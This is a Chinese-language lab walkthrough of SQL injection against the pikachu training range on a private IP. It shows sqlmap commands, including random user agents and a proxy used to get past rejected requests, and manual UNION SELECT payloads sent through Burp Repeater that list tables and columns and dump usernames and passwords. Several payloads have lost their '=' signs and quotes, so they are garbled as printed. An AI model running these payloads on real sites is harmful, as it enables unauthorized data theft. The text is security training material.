pikachu靶场——SQL-Inject—1(Kali系统)
文章目录一数字型注入post二漏洞的利用由于时间关系今天使用 union 查询方式复现 数字型注入post的案例。本文仅用于合法授权的渗透测试场景旨在帮助开发者识别sql注入漏洞、提升Web应用安全性严禁用于未授权攻击网络安全无小事违规操作将承担相应法律责任。一数字型注入post使用 sqlmap 语句对网站地址是否存在 sql 注入的漏洞进行检测具体命令sqlmap -u http://192.168.0.20/pikachu/vul/sqli/sqli_id.php --dataid1submit%E6%9F%A5%E8%AF%A2 --batch如果 sqlmap 语句显示下面的信息表述目标网站拒绝了 sqlmap 发起的请求这是将 sqlmap 的命令改为如下主要变动是添加了请求代理proxy和随机生成请求头sqlmap -u http://192.168.0.20/pikachu/vul/sqli/sqli_id.php --dataid1submit%E6%9F%A5%E8%AF%A2--random-agent --proxyhttp://127.0.0.1:8080 --batch具体结果如图sqlmap 检测到http://192.168.0.20/pikachu/vul/sqli/sqli_id.php地址存在三个sql漏洞分别为 布尔盲注漏洞boolen-based blind、报错注入error-based、时间盲注time-based blind、联合查询注入union query二漏洞的利用这里使用联合查询注入union query的方式来实施注入。通过注入获取数据库的相关信息。通过 bp 获取查询的数据包。并将数据包发送到 Repeater 中。1.获取数据库名称在 id 处 拼接union select database(),的 sql 语句发送后会返回两条信息其中pikachu就是当前数据库的名称。这里加 ‘’ 的原因是通过sqlmap 扫描查询的数据返回的是2列的数据要保证返回数据数量的一致。2.获取数据库中表的名称在 id 处拼接union select (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES t WHERE t.TABLE_SCHEMApikachu),的 sql 语句发送后会返回两条信息其中相同位置显示的就是pikachu数据库中表的信息。3.获取表中的字段名称在 id 处拼接union SELECT (select GROUP_CONCAT(c.COLUMN_NAME) from information_schema.COLUMNSc where c.TABLE_SCHEMApikachu and c.TABLE_NAMEusers),4.获取表中指定字段的具体数据在 id 处拼接union select username,password from users where 1 1这里需要注意的是查询的字段个数要与返回的个数相同。